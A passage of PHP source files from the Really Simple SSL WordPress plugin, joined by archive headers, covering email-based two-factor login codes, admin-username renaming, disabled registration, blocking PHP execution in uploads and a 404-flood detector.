 * @since 7.0.6
 *
 * @package Two_Factor
 */
//require_once __DIR__ . '/class-rsssl-two-factor-provider.php';
//require_once __DIR__ . '/interface-rsssl-provider-interface.php';
require_once rsssl_path . 'mailer/class-mail.php';

use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Settings;
use rsssl_mailer;
use Exception;
use WP_User;

/**
 * Generate and email the user token.
 *
 * @param WP_User $user WP_User object of the logged-in user.
 *
 * @return void
 * @since 0.1-dev
 */
class Rsssl_Two_Factor_Email extends Rsssl_Two_Factor_Provider implements Rsssl_Two_Factor_Provider_Interface {

	/**
	 * The user meta token key.
	 *
	 * @var string
	 */
	public const RSSSL_TOKEN_META_KEY = '_rsssl_factor_email_token';

	/**
	 * Store the timestamp when the token was generated.
	 *
	 * @var string
	 */
	public const RSSSL_TOKEN_META_KEY_TIMESTAMP = '_rsssl_factor_email_token_timestamp';

	/**
	 * Name of the input field used for code resend.
	 *
	 * @var string
	 */
	public const RSSSL_INPUT_NAME_RESEND_CODE = 'rsssl-two-factor-email-code-resend';
	public const SECRET_META_KEY              = 'rsssl_two_fa_email_enabled';

	public const METHOD = 'email';

	public const NAME = 'Email';

	/**
	 * Ensures only one instance of this class exists in memory at any one time.
	 *
	 * @since 0.1-dev
	 */
	public static function get_instance() {
		static $instance;
		$class = __CLASS__;
		if ( ! is_a( $instance, $class ) ) {
			$instance = new $class();
		}
		return $instance;
	}

	/**
	 * Class constructor.
	 *
	 * @since 0.1-dev
	 */
	protected function __construct() {
		add_action( 'rsssl_two_factor_user_options_' . __CLASS__, array( $this, 'user_options' ) );
		parent::__construct();
	}

	/**
	 * Returns the name of the provider.
	 *
	 * @since 0.1-dev
	 */
	public function get_label(): string {
		return _x( 'Email', 'Provider Label', 'really-simple-ssl' );
	}

	/**
	 * Generate the user token.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string
	 * @since 0.1-dev
	 */
	public function generate_token( int $user_id ): string {
		$token = self::get_code();

		update_user_meta( $user_id, self::RSSSL_TOKEN_META_KEY_TIMESTAMP, time() );
		update_user_meta( $user_id, self::RSSSL_TOKEN_META_KEY, wp_hash( $token ) );

		return $token;
	}

	/**
	 * Check if user has a valid token already.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return boolean      If user has a valid email token.
	 */
	public function user_has_token( int $user_id ): bool {
		$hashed_token = $this->get_user_token( $user_id );

		if ( ! empty( $hashed_token ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Has the user token validity timestamp expired.
	 *
	 * @param integer $user_id User ID.
	 *
	 * @return boolean
	 */
	public function user_token_has_expired( int $user_id ): bool {

		$token_lifetime = $this->user_token_lifetime( $user_id );
		$token_ttl      = $this->user_token_ttl( $user_id );

		// Invalid token lifetime is considered an expired token.
		return ! ( is_int( $token_lifetime ) && $token_lifetime <= $token_ttl );
	}

	/**
	 * Get the lifetime of a user token in seconds.
	 *
	 * @param integer $user_id User ID.
	 *
	 * @return integer|null Return `null` if the lifetime can't be measured.
	 */
	public function user_token_lifetime( $user_id ) {
		$timestamp = (int) get_user_meta( $user_id, self::RSSSL_TOKEN_META_KEY_TIMESTAMP, true );

		if ( ! empty( $timestamp ) ) {
			return time() - $timestamp;
		}

		return null;
	}

	/**
	 * Return the token time-to-live for a user.
	 *
	 * @param integer $user_id User ID.
	 *
	 * @return integer
	 */
	public function user_token_ttl( int $user_id ): int {
		$token_ttl = 15 * MINUTE_IN_SECONDS;

		/**
		 * Number of seconds the token is considered valid
		 * after the generation.
		 *
		 * @param integer $token_ttl Token time-to-live in seconds.
		 * @param integer $user_id User ID.
		 */
		return (int) apply_filters( 'rsssl_two_factor_token_ttl', $token_ttl, $user_id );
	}

	/**
	 * Get the authentication token for the user.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string|boolean  User token or `false` if no token found.
	 */
	public function get_user_token( int $user_id ) {
		$hashed_token = get_user_meta( $user_id, self::RSSSL_TOKEN_META_KEY, true );

		if ( ! empty( $hashed_token ) && is_string( $hashed_token ) ) {
			return $hashed_token;
		}

		return false;
	}

	/**
	 * Validate the user token.
	 *
	 * @param int    $user_id User ID.
	 * @param string $token   User token.
	 *
	 * @return boolean
	 * @since 0.1-dev
	 */
	public function validate_token( int $user_id, string $token ): bool {

		$hashed_token = $this->get_user_token( $user_id );

		// Bail if token is empty or it doesn't match.
		if ( empty( $hashed_token ) || ! hash_equals( wp_hash( $token ), $hashed_token ) ) {
			return false;
		}

		if ( $this->user_token_has_expired( $user_id ) ) {
			return false;
		}

		// Ensure the token can be used only once.
		$this->delete_token( $user_id );

		update_user_meta( $user_id, 'rsssl_two_fa_status_email', 'active' );

		return true;
	}

	/**
	 * Delete the user token.
	 *
	 * @param int $user_id User ID.
	 *
	 * @since 0.1-dev
	 */
	public function delete_token( int $user_id ): void {
		delete_user_meta( $user_id, self::RSSSL_TOKEN_META_KEY );
	}

	/**
	 * Generate and email the user token.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @return void
	 * @since 0.1-dev
	 */
	public function generate_and_email_token( WP_User $user, $profile = false ): void {
		$token = $this->generate_token( $user->ID );

        $skip_two_fa_url = Rsssl_Two_Factor_Settings::rsssl_one_time_login_url( $user->ID, false, $profile );
		// Add skip button to email content.
		$skip_button_html = sprintf(
			'<a href="%s" class="button" style="padding: 10px 30px; background: #2A7ABF; border-color: #2A7ABF; color: #fff; text-decoration: none; text-shadow: none; display: inline-block; margin-top: 15px; font-size: 0.8125rem; font-weight: 300; transition: all .3s ease; min-height: 10px;">' . __( 'Continue', 'really-simple-ssl' ) . '</a>',
			esc_url( $skip_two_fa_url )
		);

		/* translators: %s: site name */
		$subject = wp_strip_all_tags( sprintf( __( 'Your login confirmation code for %s', 'really-simple-ssl' ), wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) ) );
		/* translators: %s: token */
		$token_cleaned = wp_strip_all_tags( $token );

		// insert whitespace after four characters in the $token, for readability.
		$token_cleaned = preg_replace( '/(.{4})/', '$1 ', $token_cleaned );

		$token_html = sprintf(
			'
<table cellspacing="0" cellpadding="0" border="0" width="100%%" style="margin-top: 25px;background-color:white; box-shadow: 1px 3px 0 1px rgba(211, 211, 211, 0.3); height: 180px;"> <!-- Further increased height for white box -->
    <tr>
        <td style="padding: 45px 10px 10px 10px; vertical-align: middle; font-size: 18px; font-weight:700; text-align: center;">%s</td> <!-- Increased padding for top and bottom -->
    </tr>
    <tr>
        <td style="padding: 10px 20px 45px 20px; vertical-align: middle; text-align: center;">%s</td> <!-- Increased padding for bottom -->
    </tr>
</table>',
			$token_cleaned,
			$skip_button_html
		);

        if($profile) {
            $message = sprintf(
                __( "Below you'll find the email activation code for %1\$s. It's valid for 15 minutes. %2\$s", 'really-simple-ssl' ),
                site_url(),
                $token_html
            );
        } else {
            $message = sprintf(
                __( "Below you will find your login code for %1\$s. It's valid for 15 minutes. %2\$s", 'really-simple-ssl' ),
                site_url(),
                $token_html
            );
        }


		/**
		 * Filter the token email subject.
		 *
		 * @param string $subject The email subject line.
		 * @param int    $user_id The ID of the user.
		 */
		$subject = apply_filters( 'rsssl_two_factor_token_email_subject', $subject, $user->ID );

		/**
		 * Filter the token email message.
		 *
		 * @param string $message The email message.
		 * @param string $token   The token.
		 * @param int    $user_id The ID of the user.
		 */
		$message = apply_filters( 'rsssl_two_factor_token_email_message', $message, $token, $user->ID );

		if ( ! class_exists( 'rsssl_mailer' ) ) {
			require_once rsssl_path . 'mailer/class-mail.php';
		}

		$mailer          = new rsssl_mailer();
		$mailer->subject = $subject;
		$mailer->branded = false;
		/* translators: %s is replaced with the site url */
		$mailer->sent_by_text      = "<b>" . sprintf( __( 'Notification by %s', 'really-simple-ssl' ), site_url() ) . "</b>";
		$mailer->template_filename = apply_filters( 'rsssl_email_template', rsssl_path . '/mailer/templates/email-unbranded.html' );
		$mailer->to                = $user->user_email;
		$mailer->title             = __( 'Hi', 'really-simple-ssl' ) . ' ' . $user->display_name . ',';
		$mailer->message           = $message;
		$mailer->send_mail();
	}

	/**
	 * Prints the form that prompts the user to authenticate.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @since 0.1-dev
	 */
	public function authentication_page( WP_User $user ): void {

		if ( ! $user ) {
			return;
		}

		if ( ! $this->user_has_token( $user->ID ) || $this->user_token_has_expired( $user->ID ) ) {
			$this->generate_and_email_token( $user );
		}

		require_once ABSPATH . '/wp-admin/includes/template.php';
		?>
		<p class="two-factor-prompt"><?php esc_html_e( 'A verification code has been sent to the email address associated with your account.', 'really-simple-ssl' ); ?></p>
		<p>
			<label for="rsssl-authcode"><?php esc_html_e( 'Verification Code:', 'really-simple-ssl' ); ?></label>
			<input type="text" inputmode="numeric" name="rsssl-two-factor-email-code" id="rsssl-authcode" class="input rsssl-authcode" value="" size="20" pattern="[0-9 ]*" placeholder="1234 5678" data-digits="8" />
			<?php submit_button( __( 'Log In', 'really-simple-ssl' ) ); ?>
		</p>
		<p class="rsssl-two-factor-email-resend">
			<input type="submit" class="button" name="<?php echo esc_attr( self::RSSSL_INPUT_NAME_RESEND_CODE ); ?>" value="<?php esc_attr_e( 'Resend Code', 'really-simple-ssl' ); ?>" />
		</p>
		<script type="text/javascript">
			setTimeout( function(){
				var d;
				try{
					d = document.getElementById('rsssl-authcode');
					d.value = '';
					d.focus();
				} catch(e){}
			}, 200);
		</script>
		<?php
		$provider = get_user_meta( $user->ID, 'rsssl_two_fa_status_email', true );

		foreach ( $user->roles as $role ) {
			// Never show the skip link if a role is a forced role.
			$two_fa_forced_roles = is_array(rsssl_get_option('two_fa_forced_roles'))
				? rsssl_get_option('two_fa_forced_roles')
				: [];

			if (in_array($role, $two_fa_forced_roles, true)) {
				break;
			}

			// If optional and open, allow the user to skip 2FA for now.
			if ( 'open' === $provider && in_array( $role, rsssl_get_option( 'two_fa_enabled_roles_email', array() ), true ) ) {

				$skip_two_fa_url = Rsssl_Two_Factor_Settings::rsssl_one_time_login_url( $user->ID, true );

				?>
				<a class="rsssl-skip-link" href="<?php echo esc_url( $skip_two_fa_url ); ?>" style="display: flex; justify-content: center; margin: 15px 20px 0 0;">
					<?php esc_html_e( "Don't use Two-Factor Authentication", 'really-simple-ssl' ); ?>
				</a>
				<?php

			}
		}
	}

	/**
	 * Send the email code if missing or requested. Stop the authentication
	 * validation if a new token has been generated and sent.
	 *
	 * @param  WP_USer $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function pre_process_authentication( $user ): bool {
		if ( isset( $user->ID ) && isset( $_REQUEST[ self::RSSSL_INPUT_NAME_RESEND_CODE ] ) ) {
			$this->generate_and_email_token( $user );
			return true;
		}

		return false;
	}

	/**
	 * Validates the users input token.
	 *
	 * @since 0.1-dev
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function validate_authentication( $user ): bool {

		$code = self::sanitize_code_from_request( 'rsssl-two-factor-email-code' );
		if ( ! isset( $user->ID ) || ! $code ) {
			return false;
		}

		return $this->validate_token( $user->ID, $code );
	}

	/**
	 * Whether this Two Factor provider is configured and available for the user specified.
	 *
	 * @since 0.1-dev
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @return boolean
	 */
	public function is_available_for_user( $user ): bool {
		return true;
	}

	/**
	 * Inserts markup at the end of the user profile field for this provider.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @since 0.1-dev
	 */
	public function user_options( WP_User $user ): void {
		$email = $user->user_email;
		?>
		<div>
			<?php
			echo esc_html(
				sprintf(
				/* translators: %s: email address */
					__( 'Authentication codes will be sent to %s.', 'really-simple-ssl' ),
					$email
				)
			);
			?>
		</div>
		<?php
	}

	/**
	 * Check if the user is forced to use two-factor authentication.
	 *
	 * @param  WP_User $user  The user object.
	 *
	 * @return bool Whether the user is forced to use two-factor authentication.
	 */
	public static function is_forced( WP_User $user ): bool {
		// If there is no user logged in, it can't check if the user is forced.
		if ( ! $user->exists() ) {
			return false;
		}
		return Rsssl_Two_Factor_Settings::get_role_status( 'email', $user->ID ) === 'forced';
	}

	/**
	 * Check if a user is Optional.
	 *
	 * @param  WP_User $user  The user object.
	 *
	 * @return bool Whether the user is optional or not.
	 */
	public static function is_optional( WP_User $user ): bool {
		if ( ! $user->exists() ) {
			return false;
		}
		$user_roles     = $user->roles;
		$optional_roles = rsssl_get_option( 'two_fa_enabled_roles_email' );
		if ( empty( $optional_roles ) ) {
			$optional_roles = array();
		}
		if ( 'disabled' === Rsssl_Two_Factor_Settings::get_user_status( 'email', $user->ID ) ) {
			return false;
		}
		return in_array( $user_roles[0], $optional_roles, true );
	}

	/**
	 * Set user status for two-factor authentication.
	 *
	 * @param int    $user_id User ID.
	 * @param string $status The status to set.
	 *
	 * @return void
	 */
	public static function set_user_status( int $user_id, string $status ): void {
		update_user_meta( $user_id, 'rsssl_two_fa_status_email', $status );
	}


	/**
	 * Returns the HTML for the selection option.
	 *
	 * @param WP_User $user The user object.
	 * @param  bool    $checked Whether the option is checked or not.
	 *
	 * @return void
	 * @throws Exception Throws an exception if the template file is not found.
	 */
	public static function get_selection_option( $user, bool $checked = false ): void {
		// Get the preferred method meta, which could be a string or an array.
		$preferred_method_meta = get_user_meta( $user->ID, 'rsssl_two_fa_set_provider', true );
		// Normalize the preferred method to always be an array.
		$preferred_methods = is_array( $preferred_method_meta ) ? $preferred_method_meta : (array) $preferred_method_meta;
		// Check if 'Rsssl_Two_Factor_Email' is the preferred method.
		$is_preferred      = in_array( 'Rsssl_Two_Factor_Email', $preferred_methods, true );
		$is_enabled        = (bool) get_user_meta( $user->ID, self::SECRET_META_KEY, true );
		$badge_class       = $is_enabled ? 'badge-enabled' : 'badge-default';
		$enabled_text      = $is_enabled ? esc_html__( 'Enabled', 'really-simple-ssl' ) : esc_html__( 'Disabled', 'really-simple-ssl' );
		$checked_attribute = $checked ? 'checked' : '';
		$title             = esc_html__( 'Email', 'really-simple-ssl' );
		$description       = esc_html__( 'Receive a code by email', 'really-simple-ssl' );

		// Load the template.
		rsssl_load_template(
			'selectable-option.php',
			array(
				'badge_class'       => $badge_class,
				'enabled_text'      => $enabled_text,
				'checked_attribute' => $checked_attribute,
				'title'             => $title,
				'type'              => 'email', // Used this to identify the provider.
				'forcible'          => in_array( $user->roles[0], (array) rsssl_get_option( 'two_fa_forced_roles' ), true ),
				'description'       => $description,
				'user'              => $user,
			),
			rsssl_path . 'assets/templates/two_fa'
		);
	}

	/**
	 * Check if a user is enabled based on their role.
	 *
	 * @param  WP_User $user  The user object to check.
	 *
	 * @return bool Whether the user is enabled or not.
	 */
	public static function is_enabled( WP_User $user ): bool {
		if ( ! $user->exists() ) {
			return false;
		}
		// Get all the user roles.
		$user_roles = $user->roles;
		// Then get the enabled roles.
		$enabled_roles = rsssl_get_option( 'two_fa_enabled_roles_email' );

        if( is_multisite() ) {
            $user_roles = Rsssl_Two_Factor_Settings::get_strictest_role_across_sites($user->ID, ['email']);
        }

		// if the user has the role that is enabled, return true.
		if ( ! is_array( $enabled_roles ) ) {
			$enabled_roles = array();
		}

        if(is_multisite()) {
            //compare the user roles with the enabled roles and if there is a match, return true
            return count(array_intersect($user_roles, $enabled_roles)) > 0;
        }

		return in_array( $user_roles[0], $enabled_roles, true );
	}

    public static function is_configured( WP_User $user ): bool {
        $status = get_user_meta( $user->ID, 'rsssl_two_fa_status_email', true );
        return 'active' === $status;
    }

	public static function get_status( WP_User $user ): string {
		return Rsssl_Two_Factor_Settings::get_user_status( 'email', $user->ID );
	}
}really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-reset-factory.php000064400000006116147510273070025062 0ustar00<?php

namespace RSSSL\Security\WordPress\Two_FA;

use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Admin;
use rsssl_mailer;

class RSSSL_Two_Factor_Reset_Factory {

    public function __construct()
    {
        add_action('rsssl_process_batched_users', [self::class, 'batched_process'], 10, 3);
    }

    public static function reset_fix(): void
    {
        $self = new self();
		$forced_roles = rsssl_get_option('two_fa_forced_roles', array());
		if(empty($forced_roles)) {
			update_option('rsssl_reset_fix', false, false);
			return;
		}
        $user_count = (int)$self->get_count_expired_users($self->get_expired_users_query());

        if ($user_count > 0 ) {
            $batch_size = 1000;
            wp_schedule_single_event(time()+ 20, 'rsssl_process_batched_users', [$self->get_expired_users_query(), $user_count, $batch_size]);
        } else {
            update_option('rsssl_reset_fix', false, false);
        }
    }

    public function get_expired_users_query()
    {
        global $wpdb;
        $days_threshold = rsssl_get_option('two_fa_grace_period', 30);
        $filter_value = 'expired';

        $enabled_roles = array_unique(array_merge(
            defined('rsssl_pro') ? rsssl_get_option('two_fa_enabled_roles_totp', array()) : array(),
            rsssl_get_option('two_fa_enabled_roles_email', array())
        ));

        $forced_roles = rsssl_get_option('two_fa_forced_roles', array());

        $fields = ['id', 'user', 'status_for_user', 'rsssl_two_fa_providers', 'user_role']; // Example fields
        $enabled_roles_placeholders = implode(',', array_map(function($role) { return "'$role'"; }, $enabled_roles));
        $forced_roles_placeholder = implode(',', array_map(function($role) { return "'$role'"; }, $forced_roles));
        $query = Rsssl_Two_Factor_Admin::generate_query($fields, $enabled_roles_placeholders, $forced_roles_placeholder, $forced_roles);

        if ($filter_value !== 'all') {
            $query .= $wpdb->prepare(" HAVING status_for_user = %s", $filter_value);
        }
        $prepared_query = $wpdb->prepare($query, array_merge(
            array_fill(0, count($forced_roles), $days_threshold)
        ));

        return $prepared_query;
    }

    public function get_count_expired_users($query): ?string
    {
        global $wpdb;
        $count_query = "SELECT COUNT(*) FROM ($query) AS count_table";
        return $wpdb->get_var($count_query);
    }

    public static function batched_process($query, $user_count, $batch_size = 500): void
    {
        global $wpdb;
        $paged_query = $query . " LIMIT %d";

        while ($user_count > 0) {
            $current_query = $wpdb->prepare($paged_query, $batch_size);
            $users = $wpdb->get_results($current_query);

            foreach ($users as $user) {
                Rsssl_Two_Fa_Status::delete_two_fa_meta((int)$user->id);
                // Set the rsssl_two_fa_last_login to now, so the user will be forced to use 2fa.
                update_user_meta((int)$user->id, 'rsssl_two_fa_last_login', gmdate('Y-m-d H:i:s'));
            }
            $user_count -= $batch_size;
        }
    }
}really-simple-ssl/security/wordpress/user-registration.php000064400000000371147510273070020227 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Action to disable user registration
 *
 * @return bool
 */
function rsssl_users_can_register($value, $option) {
	return false;
}
add_filter( "option_users_can_register", 'rsssl_users_can_register', 999, 2 );really-simple-ssl/security/wordpress/rename-admin-user.php000064400000016442147510273070020060 0ustar00<?php
defined('ABSPATH') or die();

/**
 * Username 'admin' changed notice
 * @return array
 */
function rsssl_admin_username_changed( $notices ) {
	$notices['username_admin_changed'] = array(
		'condition' => ['rsssl_username_admin_changed'],
		'callback' => '_true_',
		'score' => 5,
		'output' => array(
			'true' => array(
				'msg' => sprintf(__("Username 'admin' has been changed to %s", "really-simple-ssl"),esc_html(get_site_transient('rsssl_username_admin_changed')) ),
				'icon' => 'open',
				'dismissible' => true,
			),
		),
	);
	return $notices;
}
add_filter('rsssl_notices', 'rsssl_admin_username_changed');

/**
 * Add admin as not allowed username
 * @param array $illegal_user_logins
 *
 * @return array
 */
function rsssl_prevent_admin_user_add(array $illegal_user_logins){
	$illegal_user_logins[] = 'admin';
	$illegal_user_logins[] = 'administrator';
	return $illegal_user_logins;
}
add_filter( 'illegal_user_logins', 'rsssl_prevent_admin_user_add' );

/**
 * Rename admin user
 * @return bool
 */
function rsssl_rename_admin_user() {
	if ( !rsssl_user_can_manage() ) {
		return false;
	}
	//to be able to update the admin user email, we need to disable this filter temporarily
	remove_filter( 'illegal_user_logins', 'rsssl_prevent_admin_user_add' );

	// Get user data for login admin
	$admin_user = get_user_by('login','admin');
	if ( $admin_user ) {
		// Get the new user login
		$new_user_login = trim(sanitize_user(rsssl_get_option('new_admin_user_login')));
		if ( rsssl_new_username_valid() ) {
			$admin_user_id  = $admin_user->data->ID;
			$admin_userdata = get_userdata( $admin_user_id );
			$admin_email    = $admin_userdata->data->user_email;
			global $wpdb;
			//get current user hash
			$user_hash = $wpdb->get_var($wpdb->prepare("select user_pass from {$wpdb->base_prefix}users where ID = %s", $admin_user_id) );
			//create temp email address
			$domain = site_url();
			$parse  = parse_url( $domain );
			$host   = $parse['host'] ?? 'example.com';
			$email  = "$new_user_login@$host";

			// Do not send an e-mail with this temporary e-mail address
			add_filter('send_email_change_email', '__return_false');

			// update e-mail for existing user. Cannot have two accounts connected to the same e-mail address
			$success = wp_update_user( array(
				'ID'         => $admin_user_id,
				'user_email' => $email,
			) );

			if ( ! $success ) {
				return false;
			}

			// Populate the new user data. Use current 'admin' userdata wherever available
			$new_userdata = array(
				'user_pass'            => wp_generate_password( 12 ), //temp, overwrite with actual hash later.
				//(string) The plain-text user password.
				'user_login'           => $new_user_login,
				//(string) The user's login username.
				'user_nicename'        => isset( $admin_user->data->user_nicename ) ? $admin_user->data->user_nicename : '',
				//(string) The URL-friendly user name.
				'user_url'             => isset( $admin_user->data->user_url ) ? $admin_user->data->user_url : '',
				//(string) The user URL.
				'user_email'           => isset( $admin_email ) ? $admin_email : '',
				//(string) The user email address.
				'display_name'         => isset( $admin_user->data->display_name ) ? $admin_user->data->display_name : '',
				//(string) The user's display name. Default is the user's username.
				'nickname'             => isset( $admin_user->data->nickname ) ? $admin_user->data->nickname : '',
				//(string) The user's nickname. Default is the user's username.
				'first_name'           => isset( $admin_user->data->user_firstname ) ? $admin_user->data->user_firstname : '',
				//(string) The user's first name. For new users, will be used to build the first part of the user's display name if $display_name is not specified.
				'last_name'            => isset( $admin_user->data->user_lastname ) ? $admin_user->data->user_lastname : '',
				//(string) The user's last name. For new users, will be used to build the second part of the user's display name if $display_name is not specified.
				'description'          => isset( $admin_user->data->description ) ? $admin_user->data->description : '',
				//(string) The user's biographical description.
				'rich_editing'         => isset( $admin_user->data->rich_editing ) ? $admin_user->data->rich_editing : '',
				//(string|bool) Whether to enable the rich-editor for the user. False if not empty.
				'syntax_highlighting'  => isset( $admin_user->data->syntax_highlighting ) ? $admin_user->data->syntax_highlighting : '',
				//(string|bool) Whether to enable the rich code editor for the user. False if not empty.
				'comment_shortcuts'    => isset( $admin_user->data->comment_shortcuts ) ? $admin_user->data->comment_shortcuts : '',
				//(string|bool) Whether to enable comment moderation keyboard shortcuts for the user. Default false.
				'admin_color'          => isset( $admin_user->data->admin_color ) ? $admin_user->data->admin_color : '',
				//(string) Admin color scheme for the user. Default 'fresh'.
				'use_ssl'              => isset( $admin_user->data->use_ssl ) ? $admin_user->data->use_ssl : '',
				//(bool) Whether the user should always access the admin over https. Default false.
				'user_registered'      => isset( $admin_user->data->user_registered ) ? $admin_user->data->user_registered : '',
				//(string) Date the user registered. Format is 'Y-m-d H:i:s'.
				'show_admin_bar_front' => isset( $admin_user->data->show_admin_bar_front ) ? $admin_user->data->show_admin_bar_front : '',
				//(string|bool) Whether to display the Admin Bar for the user on the site's front end. Default true.
				'role'                 => isset( $admin_user->roles[0] ) ? $admin_user->roles[0] : '',
				//(string) User's role.
				'locale'               => isset( $admin_user->data->locale ) ? $admin_user->data->locale : '',
				//(string) User's locale. Default empty.
			);

			// Create new admin user
			$new_user_id = wp_insert_user( $new_userdata );
			if ( ! $new_user_id || is_wp_error($new_user_id) ) {
				return false;
			}

			//store original user hash in this user.
			$wpdb->update(
				$wpdb->base_prefix.'users',
				['user_pass' => $user_hash ],
				['ID' => $new_user_id]
			);

			require_once( ABSPATH . 'wp-admin/includes/user.php' );
			wp_delete_user( $admin_user_id, $new_user_id );

			// On multisite we have to update the $wpdb->prefix . sitemeta -> meta_key -> site_admins -> meta_value to the new username
			if ( is_multisite() ) {
				global $wpdb;
				$site_admins = $wpdb->get_var( "SELECT meta_value FROM {$wpdb->base_prefix}sitemeta WHERE meta_key = 'site_admins'" );
				if ( is_serialized( $site_admins ) ) {
					$unserialized = unserialize( $site_admins );
					foreach ( $unserialized as $index => $site_admin ) {
						if ( $site_admin === 'admin' ) {
							$unserialized[ $index ] = $new_user_login;
						}
					}
					$site_admins = serialize( $unserialized );
				}
				$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->base_prefix}sitemeta SET meta_value = %s WHERE meta_key = 'site_admins'", $site_admins ) );
			}

			set_site_transient( 'rsssl_username_admin_changed', $new_user_login, DAY_IN_SECONDS );
		}
		return true;
	}
	return true;
}
add_action('rsssl_after_saved_fields','rsssl_rename_admin_user', 30);

/**
 * @return bool
 *
 * Notice condition
 */
function rsssl_username_admin_changed() {
	if ( get_site_transient('rsssl_username_admin_changed') ) {
		return true;
	}

	return false;
}

really-simple-ssl/security/wordpress/block-code-execution-uploads.php000064400000004417147510273070022216 0ustar00<?php defined( 'ABSPATH' ) or die();

/**
 * @param $notices
 * @return mixed
 * Notice function
 */
function rsssl_code_execution_errors_notice( $notices ) {
	$notices['code-execution-uploads'] = array(
		'callback' => 'rsssl_code_execution_allowed',
		'score' => 5,
		'output' => array(
			'file-not-found' => array(
				'msg' => __("Could not find code execution test file.", "really-simple-ssl"),
				'icon' => 'open',
				'dismissible' => true,
			),
			'uploads-folder-not-writable' => array(
				'msg' => __("Uploads folder not writable.", "really-simple-ssl"),
				'icon' => 'open',
				'dismissible' => true,
			),
			'could-not-create-test-file' => array(
				'msg' => __("Could not copy code execution test file.", "really-simple-ssl"),
				'icon' => 'open',
				'dismissible' => true,
			),
		),
	);

	if ( rsssl_get_server() === 'nginx') {
		$notices['code-execution-uploads-nginx'] = array(
			'callback' => 'rsssl_code_execution_allowed',
			'score' => 5,
			'output' => array(
				'true' => array(
					'msg' => __("The code to block code execution in the uploads folder cannot be added automatically on nginx. Add the following code to your nginx.conf file:", "really-simple-ssl")
					         . "<br>" . rsssl_get_nginx_code_code_execution_uploads(),
					'icon' => 'open',
					'dismissible' => true,
				),
			),
		);
	}
	return $notices;
}
add_filter('rsssl_notices', 'rsssl_code_execution_errors_notice');


/**
 * Block code execution
 * @param array $rules
 *
 * @return []
 *
 */
function rsssl_disable_code_execution_rules($rules)
{
	if ( !rsssl_get_option('block_code_execution_uploads')) {
		return $rules;
	}

	if ( RSSSL()->server->apache_version_min_24() ) {
		$rule = "\n" ."<Files *.php>";
		$rule .= "\n" . "Require all denied";
		$rule .= "\n" . "</Files>";
	} else {
		$rule = "\n" ."<Files *.php>";
		$rule .= "\n" . "deny from all";
		$rule .= "\n" . "</Files>";
	}

	$rules[] = ['rules' => $rule, 'identifier' => 'deny from all'];
	return $rules;
}
add_filter('rsssl_htaccess_security_rules_uploads', 'rsssl_disable_code_execution_rules');



function rsssl_get_nginx_code_code_execution_uploads() {
    $code = '<code>location ~* /uploads/.*\.php$ {' . "<br>";
    $code .= '&nbsp;&nbsp;&nbsp;&nbsp;return 503;' . "<br>";
    $code .= '}</code>' . "<br>";

    return $code;
}

really-simple-ssl/security/wordpress/class-rsssl-simple-404-interceptor.php000064400000010525147510273070023144 0ustar00<?php
namespace RSSSL\Pro\Security\WordPress;

class Rsssl_Simple_404_Interceptor {
    private $attempts = 10; // Default attempts threshold
    private $time_span = 5; // Time span in seconds (5 seconds)
    private $option_name = 'rsssl_404_cache';
    private $notice_option = 'rsssl_404_notice_shown';

    public function __construct() {

        add_filter( 'rsssl_notices', array($this, 'show_help_notices') );
	    if ( defined( 'rsssl_pro' ) ) {
		    return;
	    }
        add_action( 'template_redirect', array($this, 'detect_404') );
    }

    /**
     * Detect and handle 404 errors.
     */
    public function detect_404(): void {
        if (is_404()) {
            if ( get_option( $this->notice_option ) ) {
                return;
            }
            $ip_address = $this->get_ip_address();
            $current_time = time();

            // Prevent the option from becoming too large
            $cache = get_option($this->option_name, []);

            if (!isset($cache[$ip_address])) {
                $cache[$ip_address] = [];
            }

            $cache[$ip_address][] = $current_time;
            $cache[$ip_address] = $this->clean_up_old_entries($cache[$ip_address]);

            if (count($cache[$ip_address]) > $this->attempts && !get_option($this->notice_option)) {
                update_option($this->notice_option, true, false);

                return;
            }

            update_option($this->option_name, $cache, false);
        }
    }


    /**
     * Cleans up old entries based on the given timestamps.
     *
     * This method filters the given timestamps array and only keeps the entries where the difference between the current time
     * and the timestamp is less than the specified time span.
     *
     * @param array $timestamps An array of timestamps.
     *
     * @return array The cleaned up timestamps array.
     */
    private function clean_up_old_entries($timestamps): array {
        $current_time = time();
        return array_filter($timestamps, function($timestamp) use ($current_time) {
            return ($current_time - $timestamp) < $this->time_span;
        });
    }

    /**
     * Retrieves the IP address of the client.
     *
     * This method checks for the IP address in the following order:
     * 1. HTTP_CLIENT_IP: Represents the IP address of the client if the client is a shared internet device.
     * 2. HTTP_X_FORWARDED_FOR: Represents the IP address of the client if the client is accessing the server through a proxy server.
     * 3. REMOTE_ADDR: Represents the IP address of the client if the client is accessing the server directly.
     *
     * @return string The IP address of the client.
     */
    private function get_ip_address(): string {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }

        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        }

        if (!empty($_SERVER['REMOTE_ADDR'])) {
            return $_SERVER['REMOTE_ADDR'];
        }

        return 'UNKNOWN';
    }

    /**
     * Add a help notice for 404 detection warning.
     *
     * @param array $notices The existing notices array.
     *
     * @return array Updated notices array with 404 detection warning notice.
     */
    public function show_help_notices(array $notices): array {
        if (get_option($this->notice_option)) {
            $message = __('We detected suspected bots triggering large numbers of 404 errors on your site.', 'really-simple-ssl');
            $notice = [
                'callback' => '_true_',
                'score' => 1,
                'show_with_options' => ['enable_404_detection'],
                'output' => [
                    'true' => [
                        'msg' => $message,
                        'icon' => 'warning',
                        'type' => 'warning',
